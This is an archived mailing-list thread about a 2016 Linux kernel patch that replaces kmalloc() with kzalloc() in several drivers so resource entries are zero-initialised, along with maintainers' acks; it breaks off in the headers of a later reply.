User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1452020081-26534-9-git-send-email-toshi.kani@hpe.com>
X-Provags-ID: V03:K0:djnuSZdKws2CQxy3La+rY7p2Gwk2IVQdVfGciS82vI+EEcliRRw
 bj9JW0S7l9FQVz4PESOYLEsYNmzxmzxCClL3oQvIFuf5TSMXtk6bucVL/7+0GO/gZ8eAQ/j
 Q9dBwyZREqtTerI6hLsnYJPO6eKBB3u7i3TTwYQX8Lc0KzANJ51muzPCV7X36l4XafFGs0y
 W3dfikIKuFXofsgAhxe6A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:7enr1ay1RMw=:nJzJBuFT5T18Zdco444tHm
 VwqTJc35QN7AtC8tD6mbSU+WdXs9jvPdn6twigeKuhg1QruTeqEzd7aY01lePPjxIiTeSWeK2
 ox8a+aCNlkg3h6B9GcFC2Uiajh6+CWjLF4q7buK+i9qqOzZ48pOh/DqMnnct9dLHb77+Bo3v/
 B+H0ehi3cB/N/oIQdXA/wUaNWB1ja4fdApSCfXinE992DpzcqRxiTrRZLxODiGBdmqmjjZjv6
 BGct09DJMBXsEOFuTzgZXebuy7wMSb1YmImbuf5mPPsb7VieEPgFR7t+Ctyd8URZ9RRg8vM4G
 h4hJdhY2WYoV6lvu5uh+Z7V3G/e3TyetWY9XXwxM/vfcMxkNFQY/LuPwnJFeBa7YIX8KOF5E+
 43yoChll4nmCbf+kKOmSTGJ3WYf2sx2hb54qDv/RnNY+WS8yPVDOijs0xIOtnrRvWl+bnvTQB
 GlOcQwhAgTj7EZ+ec6NpsGstNBF6HQtR80iXadviRAQXCgutNPbdbIYUGkYLL7yRLH9vTnaCC
 xOXVdHVslNw7OrI0sl32s+t7eQ4JwaUwTkvTBF3I3xBRCIerETHkyQnfCEeKhN/u8sK0vyK4y
 NSWq1sf6XXNzMREtDzgBF2H8QkhOp0pY5EaBO7qVRmIMjGrcFGmoyYhib1CvDnsEbUwFZpfOw
 8CE7XzvBQ84SV9VeGN46faoc0mn0M+F/17Loy2OlHOIEpKnEtB+lfSj2CFxXodEsbmqpA0ZJi
 HCz/rFc3EL23Ng2mPKO2ezVZAERJqABpUS94GY2W53KH5Tn52dwcUhZt+0r5ygWZv0Z+1rbO 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:143925 gmane.linux.kernel.cross-arch:30199 gmane.linux.kernel:2119436 gmane.linux.acpi.devel:80929 gmane.linux.ports.parisc:26304 gmane.linux.ports.sh.devel:52655
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/143925>

On 05.01.2016 19:54, Toshi Kani wrote:
> I/O resource descriptor, 'desc' in struct resource, needs to be
> initialized to zero by default.  Some drivers call kmalloc() to
> allocate a resource entry, but does not initialize it to zero by
> memset().  Change these drivers to call kzalloc(), instead.
> 
> Cc: linux-acpi@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-sh@vger.kernel.org
> Acked-by: Simon Horman <horms+renesas@verge.net.au> # sh
> Signed-off-by: Toshi Kani <toshi.kani@hpe.com>
> ---
>  drivers/acpi/acpi_platform.c       |    2 +-
>  drivers/parisc/eisa_enumerator.c   |    4 ++--

The parisc changes look good. For those:
Acked-by: Helge Deller <deller@gmx.de>



>  drivers/rapidio/rio.c              |    8 ++++----
>  drivers/sh/superhyway/superhyway.c |    2 +-
>  4 files changed, 8 insertions(+), 8 deletions(-)
> 
> diff --git a/drivers/acpi/acpi_platform.c b/drivers/acpi/acpi_platform.c
> index 296b7a1..b6f7fa3 100644
> --- a/drivers/acpi/acpi_platform.c
> +++ b/drivers/acpi/acpi_platform.c
> @@ -62,7 +62,7 @@ struct platform_device *acpi_create_platform_device(struct acpi_device *adev)
>  	if (count < 0) {
>  		return NULL;
>  	} else if (count > 0) {
> -		resources = kmalloc(count * sizeof(struct resource),
> +		resources = kzalloc(count * sizeof(struct resource),
>  				    GFP_KERNEL);
>  		if (!resources) {
>  			dev_err(&adev->dev, "No memory for resources\n");
> diff --git a/drivers/parisc/eisa_enumerator.c b/drivers/parisc/eisa_enumerator.c
> index a656d9e..21905fe 100644
> --- a/drivers/parisc/eisa_enumerator.c
> +++ b/drivers/parisc/eisa_enumerator.c
> @@ -91,7 +91,7 @@ static int configure_memory(const unsigned char *buf,
>  	for (i=0;i<HPEE_MEMORY_MAX_ENT;i++) {
>  		c = get_8(buf+len);
>  		
> -		if (NULL != (res = kmalloc(sizeof(struct resource), GFP_KERNEL))) {
> +		if (NULL != (res = kzalloc(sizeof(struct resource), GFP_KERNEL))) {
>  			int result;
>  			
>  			res->name = name;
> @@ -183,7 +183,7 @@ static int configure_port(const unsigned char *buf, struct resource *io_parent,
>  	for (i=0;i<HPEE_PORT_MAX_ENT;i++) {
>  		c = get_8(buf+len);
>  		
> -		if (NULL != (res = kmalloc(sizeof(struct resource), GFP_KERNEL))) {
> +		if (NULL != (res = kzalloc(sizeof(struct resource), GFP_KERNEL))) {
>  			res->name = board;
>  			res->start = get_16(buf+len+1);
>  			res->end = get_16(buf+len+1)+(c&HPEE_PORT_SIZE_MASK)+1;
> diff --git a/drivers/rapidio/rio.c b/drivers/rapidio/rio.c
> index d7b87c6..e220edc 100644
> --- a/drivers/rapidio/rio.c
> +++ b/drivers/rapidio/rio.c
> @@ -117,7 +117,7 @@ int rio_request_inb_mbox(struct rio_mport *mport,
>  	if (mport->ops->open_inb_mbox == NULL)
>  		goto out;
>  
> -	res = kmalloc(sizeof(struct resource), GFP_KERNEL);
> +	res = kzalloc(sizeof(struct resource), GFP_KERNEL);
>  
>  	if (res) {
>  		rio_init_mbox_res(res, mbox, mbox);
> @@ -185,7 +185,7 @@ int rio_request_outb_mbox(struct rio_mport *mport,
>  	if (mport->ops->open_outb_mbox == NULL)
>  		goto out;
>  
> -	res = kmalloc(sizeof(struct resource), GFP_KERNEL);
> +	res = kzalloc(sizeof(struct resource), GFP_KERNEL);
>  
>  	if (res) {
>  		rio_init_mbox_res(res, mbox, mbox);
> @@ -285,7 +285,7 @@ int rio_request_inb_dbell(struct rio_mport *mport,
>  {
>  	int rc = 0;
>  
> -	struct resource *res = kmalloc(sizeof(struct resource), GFP_KERNEL);
> +	struct resource *res = kzalloc(sizeof(struct resource), GFP_KERNEL);
>  
>  	if (res) {
>  		rio_init_dbell_res(res, start, end);
> @@ -360,7 +360,7 @@ int rio_release_inb_dbell(struct rio_mport *mport, u16 start, u16 end)
>  struct resource *rio_request_outb_dbell(struct rio_dev *rdev, u16 start,
>  					u16 end)
>  {
> -	struct resource *res = kmalloc(sizeof(struct resource), GFP_KERNEL);
> +	struct resource *res = kzalloc(sizeof(struct resource), GFP_KERNEL);
>  
>  	if (res) {
>  		rio_init_dbell_res(res, start, end);
> diff --git a/drivers/sh/superhyway/superhyway.c b/drivers/sh/superhyway/superhyway.c
> index 2d9e7f3..bb1fb771 100644
> --- a/drivers/sh/superhyway/superhyway.c
> +++ b/drivers/sh/superhyway/superhyway.c
> @@ -66,7 +66,7 @@ int superhyway_add_device(unsigned long base, struct superhyway_device *sdev,
>  	superhyway_read_vcr(dev, base, &dev->vcr);
>  
>  	if (!dev->resource) {
> -		dev->resource = kmalloc(sizeof(struct resource), GFP_KERNEL);
> +		dev->resource = kzalloc(sizeof(struct resource), GFP_KERNEL);
>  		if (!dev->resource) {
>  			kfree(dev);
>  			return -ENOMEM;
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:38:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Toshi Kani <toshi.kani@hpe.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.acpi.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [PATCH v3 UPDATE 09/17] drivers: Initialize resource entry to zero
Date: Tue,  5 Jan 2016 14:15:37 -0700
Lines: 117
Approved: news@gmane.org
Message-ID: <1452028537-27365-1-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1452028603 6887 80.91.229.3 (5 Jan 2016 21:16:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Jan 2016 21:16:43 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Matt Porter <mporter@kernel.crashing.org>,
	Alexandre Bounine <alexandre.bounine@idt.com>,
	linux-acpi@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org,
	Toshi Kani <toshi.kani@hpe.com>
To: akpm@linux-foundation.org,
	bp@alien8.de
Original-X-From: owner-linux-mm@kvack.org Tue Jan 05 22:16:30 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1aGYxs-0004CZ-RS
	for glkm-linux-mm-2@m.gmane.org; Tue, 05 Jan 2016 22:16:25 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id BE914800C7; Tue,  5 Jan 2016 16:16:23 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B9A166B0006; Tue,  5 Jan 2016 16:16:23 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id AB05A800C7; Tue,  5 Jan 2016 16:16:23 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-ob0-f178.google.com (mail-ob0-f178.google.com [209.85.214.178])
	by kanga.kvack.org (Postfix) with ESMTP id 8115E6B0003
	for <linux-mm@kvack.org>; Tue,  5 Jan 2016 16:16:23 -0500 (EST)
Original-Received: by mail-ob0-f178.google.com with SMTP id xn1so10648099obc.2
        for <linux-mm@kvack.org>; Tue, 05 Jan 2016 13:16:23 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id;
        bh=lBu2YOonKnV5PcAvHEqGveP+kBa4L4YrTM5mehkIcNo=;
        b=dMFFXmpLcaDZMMSJl5qk/rM1MFy9lv96ubKnnlhQiVxnhB9+VY4q1StjPviStjJsJE
         IvNUMG2q0reue0Gr70AoQR5QgrIvybxZPN1epFMrj6hVZfYVJ8ZcrxiSTmHghha2T7ZI
         4irmVH3lNtx2263bLDoAFV5GmrynyNDRot54+DsyUwtbrKJBGMDR8v9/mYhJkLKlrZNv
         3DKUZnn9cf4VpcCRooQYu3bQ1JGYKOuHQUHsxhdan+OM0O7YidwwJzl5rrv1QNDKDI1K
         pZ9zQfL8dlr8iX/8nnSKn8FwIR1cgP71telmYcaGf9M2GDMGAOhFF5p4hgHX6mEGTTIW
         6lfA==
X-Original-Authentication-Results: mx.google.com;       spf=neutral (google.com: 15.217.128.54 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) smtp.mailfrom=toshi.kani@hpe.com
X-Gm-Message-State: ALoCoQmb370yrR6Nvflts2b0TDxIufdPf3nROsfKxMHgMukXZ5iyF8ocZ7u1BSJ8h3sivaTs6M2Bcdq4pyHjYj1i++Tz7ATay/e0jISyHJYqMoN4AlQjJANMjQ3Q9NO+Hcv0S0sQhjJa9dpAeh90sH879I3n0w09xxMMAtYlDu8QXo39I3GU+etXtAF3tNHtiYGgftfHi3iO
X-Received: by 10.60.159.230 with SMTP id xf6mr66681023oeb.43.1452028583351;
        Tue, 05 Jan 2016 13:16:23 -0800 (PST)
X-Received: by 10.60.159.230 with SMTP id xf6mr66680988oeb.43.1452028582912;
        Tue, 05 Jan 2016 13:16:22 -0800 (PST)
Original-Received: from g2t2355.austin.hp.com (g2t2355.austin.hp.com. [15.217.128.54])
        by mx.google.com with ESMTPS id eh3si31594614oeb.37.2016.01.05.13.16.22
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 05 Jan 2016 13:16:22 -0800 (PST)
Received-SPF: neutral (google.com: 15.217.128.54 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) client-ip=15.217.128.54;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 15.217.128.54 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) smtp.mailfrom=toshi.kani@hpe.com
Original-Received: from g2t2360.austin.hp.com (g2t2360.austin.hp.com [16.197.8.247])
	by g2t2355.austin.hp.com (Postfix) with ESMTP id 4AD7F4B;
	Tue,  5 Jan 2016 21:16:21 +0000 (UTC)
Original-Received: from misato.fc.hp.com (misato.fc.hp.com [16.78.168.61])
	by g2t2360.austin.hp.com (Postfix) with ESMTP id DB7D839;
	Tue,  5 Jan 2016 21:16:19 +0000 (UTC)
X-Mailer: git-send-email 2.4.3
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:143927 gmane.linux.kernel.cross-arch:30200 gmane.linux.kernel:2119457 gmane.linux.acpi.devel:80930 gmane.linux.ports.parisc:26305 gmane.linux.ports.sh.devel:52656
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/143927>

I/O resource descriptor, 'desc' in struct resource, needs to be
initialized to zero by default.  Some drivers call kmalloc() to
allocate a resource entry, but does not initialize it to zero by
memset().  Change these drivers to call kzalloc(), instead.

Cc: Matt Porter <mporter@kernel.crashing.org>
Cc: Alexandre Bounine <alexandre.bounine@idt.com>
Cc: linux-acpi@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Acked-by: Simon Horman <horms+renesas@verge.net.au> # sh
Acked-by: Helge Deller <deller@gmx.de> # parisc
Signed-off-by: Toshi Kani <toshi.kani@hpe.com>
---
v3 UPDATE: Add cc to RAPIDIO maintainers that was missing.
---
 drivers/acpi/acpi_platform.c       |    2 +-
 drivers/parisc/eisa_enumerator.c   |    4 ++--
 drivers/rapidio/rio.c              |    8 ++++----
 drivers/sh/superhyway/superhyway.c |    2 +-
 4 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/acpi/acpi_platform.c b/drivers/acpi/acpi_platform.c
index 296b7a1..b6f7fa3 100644
--- a/drivers/acpi/acpi_platform.c
+++ b/drivers/acpi/acpi_platform.c
@@ -62,7 +62,7 @@ struct platform_device *acpi_create_platform_device(struct acpi_device *adev)
 	if (count < 0) {
 		return NULL;
 	} else if (count > 0) {
-		resources = kmalloc(count * sizeof(struct resource),
+		resources = kzalloc(count * sizeof(struct resource),
 				    GFP_KERNEL);
 		if (!resources) {
 			dev_err(&adev->dev, "No memory for resources\n");
diff --git a/drivers/parisc/eisa_enumerator.c b/drivers/parisc/eisa_enumerator.c
index a656d9e..21905fe 100644
--- a/drivers/parisc/eisa_enumerator.c
+++ b/drivers/parisc/eisa_enumerator.c
@@ -91,7 +91,7 @@ static int configure_memory(const unsigned char *buf,
 	for (i=0;i<HPEE_MEMORY_MAX_ENT;i++) {
 		c = get_8(buf+len);
 		
-		if (NULL != (res = kmalloc(sizeof(struct resource), GFP_KERNEL))) {
+		if (NULL != (res = kzalloc(sizeof(struct resource), GFP_KERNEL))) {
 			int result;
 			
 			res->name = name;
@@ -183,7 +183,7 @@ static int configure_port(const unsigned char *buf, struct resource *io_parent,
 	for (i=0;i<HPEE_PORT_MAX_ENT;i++) {
 		c = get_8(buf+len);
 		
-		if (NULL != (res = kmalloc(sizeof(struct resource), GFP_KERNEL))) {
+		if (NULL != (res = kzalloc(sizeof(struct resource), GFP_KERNEL))) {
 			res->name = board;
 			res->start = get_16(buf+len+1);
 			res->end = get_16(buf+len+1)+(c&HPEE_PORT_SIZE_MASK)+1;
diff --git a/drivers/rapidio/rio.c b/drivers/rapidio/rio.c
index d7b87c6..e220edc 100644
--- a/drivers/rapidio/rio.c
+++ b/drivers/rapidio/rio.c
@@ -117,7 +117,7 @@ int rio_request_inb_mbox(struct rio_mport *mport,
 	if (mport->ops->open_inb_mbox == NULL)
 		goto out;
 
-	res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_mbox_res(res, mbox, mbox);
@@ -185,7 +185,7 @@ int rio_request_outb_mbox(struct rio_mport *mport,
 	if (mport->ops->open_outb_mbox == NULL)
 		goto out;
 
-	res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_mbox_res(res, mbox, mbox);
@@ -285,7 +285,7 @@ int rio_request_inb_dbell(struct rio_mport *mport,
 {
 	int rc = 0;
 
-	struct resource *res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	struct resource *res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_dbell_res(res, start, end);
@@ -360,7 +360,7 @@ int rio_release_inb_dbell(struct rio_mport *mport, u16 start, u16 end)
 struct resource *rio_request_outb_dbell(struct rio_dev *rdev, u16 start,
 					u16 end)
 {
-	struct resource *res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	struct resource *res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_dbell_res(res, start, end);
diff --git a/drivers/sh/superhyway/superhyway.c b/drivers/sh/superhyway/superhyway.c
index 2d9e7f3..bb1fb771 100644
--- a/drivers/sh/superhyway/superhyway.c
+++ b/drivers/sh/superhyway/superhyway.c
@@ -66,7 +66,7 @@ int superhyway_add_device(unsigned long base, struct superhyway_device *sdev,
 	superhyway_read_vcr(dev, base, &dev->vcr);
 
 	if (!dev->resource) {
-		dev->resource = kmalloc(sizeof(struct resource), GFP_KERNEL);
+		dev->resource = kzalloc(sizeof(struct resource), GFP_KERNEL);
 		if (!dev->resource) {
 			kfree(dev);
 			return -ENOMEM;

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:38:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael J. Wysocki" <rjw@rjwysocki.net>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.acpi.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [PATCH v3 UPDATE 09/17] drivers: Initialize resource entry to zero
Date: Wed, 06 Jan 2016 03:07:03 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <4132474.rE6EsOfV8R@vostro.rjw.lan>
References: <1452028537-27365-1-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1452044200 19961 80.91.229.3 (6 Jan 2016 01:36:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Jan 2016 01:36:40 +0000 (UTC)
Cc: akpm@linux-foundation.org, bp@alien8.de, linux-arch@vger.kernel.org, linux-mm@kvack.org, linux-kernel@vger.kernel.org, Matt Porter <mporter@kernel.crashing.org>, Alexandre Bounine <alexandre.bounine@idt.com>, linux-acpi@vger.kernel.org, linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org
To: Toshi Kani <toshi.kani@hpe.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 06 02:36:28 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1aGd1W-0005HS-SA
	for glkm-linux-mm-2@m.gmane.org; Wed, 06 Jan 2016 02:36:27 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 04AA36B0003; Tue,  5 Jan 2016 20:36:25 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id F3CCF6B0005; Tue,  5 Jan 2016 20:36:24 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id E79F7800C7; Tue,  5 Jan 2016 20:36:24 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-lb0-f169.google.com (mail-lb0-f169.google.com [209.85.217.169])
	by kanga.kvack.org (Postfix) with ESMTP id 952AA6B0003
	for <linux-mm@kvack.org>; Tue,  5 Jan 2016 20:36:24 -0500 (EST)
Original-Received: by mail-lb0-f169.google.com with SMTP id pv2so199336371lbb.1
        for <linux-mm@kvack.org>; Tue, 05 Jan 2016 17:36:24 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:user-agent:in-reply-to:references
         :mime-version:content-transfer-encoding:content-type;
        bh=r8CZ97d0EPnXXeB1NmK1yuR0s+8YE88rE9xq4+h9l0k=;
        b=iTAaRrz1DsPT9i8tzXF3GIEgHBzGSBAuBBtuqsnXwCJtLIDMlybIBtlEQD6LNx5ute
         1ZF84rtkA+0j9osZyBFV+reYVDBoJusxZH2tV9D91kh8zgrMH5LFZU22bHnDF9sERkUT
         +aB/ebP50DqxaDZUKNHlpfZx90Gz1KJETUZpGVkC+F1cGmexdjHmP9pNBmMZ5TnTnaJV
         WnmrTOC07wYRtuaMoIffIiZhvE/8y30TcBrC0OI7kRwAUrwOstRgXZmaEs1W1WBcwKoE
         QPsUkPXY5TugTA637G/MetI+zBAJa9qMMJNVpNAx7y2j6xtmu8FKcCz8nMNfG5FZ7aQE
         c0Qw==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of rjw@rjwysocki.net designates 79.96.170.134 as permitted sender) smtp.mailfrom=rjw@rjwysocki.net
X-Gm-Message-State: ALoCoQm/8JcSWMQH35WvdOMDKVr2Sk0lTE6sriB77YT1itKd/KkTlvQm5qmP9hVAUiRCiqZclMzMnoNf2lKBzCg7bOuOkhKmmmy/tFdCjTglNTsmmxBG7b6DRkvcATjH8jglGiZvDxeINGKgtG8xpu1+P0Ujq1F2fSbC0TtI0N4Si3fgTsg6fK2u4wwA5UGpY0Pj7vAyQ8cT
X-Received: by 10.112.131.105 with SMTP id ol9mr34868338lbb.45.1452044183950;
        Tue, 05 Jan 2016 17:36:23 -0800 (PST)
X-Received: by 10.112.131.105 with SMTP id ol9mr34868318lbb.45.1452044183082;
        Tue, 05 Jan 2016 17:36:23 -0800 (PST)
Original-Received: from v094114.home.net.pl (v094114.home.net.pl. [79.96.170.134])
        by mx.google.com with SMTP id p66si55470201lfd.22.2016.01.05.17.36.22
        for <linux-mm@kvack.org>;
        Tue, 05 Jan 2016 17:36:22 -0800 (PST)
Received-SPF: pass (google.com: domain of rjw@rjwysocki.net designates 79.96.170.134 as permitted sender) client-ip=79.96.170.134;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of rjw@rjwysocki.net designates 79.96.170.134 as permitted sender) smtp.mailfrom=rjw@rjwysocki.net
Original-Received: from cmu238.neoplus.adsl.tpnet.pl (83.31.148.238) (HELO vostro.rjw.lan)
 by serwer1319399.home.pl (79.96.170.134) with SMTP (IdeaSmtpServer v0.80)
 id a46b6b4b43b515a4; Wed, 6 Jan 2016 02:36:21 +0100
User-Agent: KMail/4.11.5 (Linux/4.1.0-rc5+; KDE/4.11.5; x86_64; ; )
In-Reply-To: <1452028537-27365-1-git-send-email-toshi.kani@hpe.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:143938 gmane.linux.kernel.cross-arch:30202 gmane.linux.kernel:2119555 gmane.linux.acpi.devel:80933 gmane.linux.ports.parisc:26306 gmane.linux.ports.sh.devel:52662
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/143938>

On Tuesday, January 05, 2016 02:15:37 PM Toshi Kani wrote:
> I/O resource descriptor, 'desc' in struct resource, needs to be
> initialized to zero by default.  Some drivers call kmalloc() to
> allocate a resource entry, but does not initialize it to zero by
> memset().  Change these drivers to call kzalloc(), instead.
> 
> Cc: Matt Porter <mporter@kernel.crashing.org>
> Cc: Alexandre Bounine <alexandre.bounine@idt.com>
> Cc: linux-acpi@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-sh@vger.kernel.org
> Acked-by: Simon Horman <horms+renesas@verge.net.au> # sh
> Acked-by: Helge Deller <deller@gmx.de> # parisc
> Signed-off-by: Toshi Kani <toshi.kani@hpe.com>

Acked-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>

for the ACPI part.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:38:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bounine, Alexandre" <Alexandre.Bounine@idt.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.acpi.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: RE: [PATCH v3 UPDATE 09/17] drivers: Initialize resource entry to
 zero
Date: Thu, 7 Jan 2016 13:06:37 +0000
Lines: 136
Approved: news@gmane.org
Message-ID: <8D983423E7EDF846BB3056827B8CC5D15CFB6756@corpmail1.na.ads.idt.com>
References: <1452028537-27365-1-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1452172052 1038 80.91.229.3 (7 Jan 2016 13:07:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Jan 2016 13:07:32 +0000 (UTC)
Cc: "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
        "linux-mm@kvack.org" <linux-mm@kvack.org>,
        "linux-kernel@vger.kernel.org"
	<linux-kernel@vger.kernel.org>,
        Matt Porter <mporter@kernel.crashing.org>,
        "linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>
To: Toshi Kani <toshi.kani@hpe.com>,
        "akpm@linux-foundation.org"
	<akpm@linux-foundation.org>,
        "bp@alien8.de" <bp@alien8.de>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 07 14:07:18 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1aHAHY-0000Qp-Pc
	for glkm-linux-mm-2@m.gmane.org; Thu, 07 Jan 2016 14:07:13 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id B19DD828DF; Thu,  7 Jan 2016 08:07:06 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id ACA6F828DE; Thu,  7 Jan 2016 08:07:06 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 9B877828DF; Thu,  7 Jan 2016 08:07:06 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-io0-f170.google.com (mail-io0-f170.google.com [209.85.223.170])
	by kanga.kvack.org (Postfix) with ESMTP id 74771828DE
	for <linux-mm@kvack.org>; Thu,  7 Jan 2016 08:07:06 -0500 (EST)
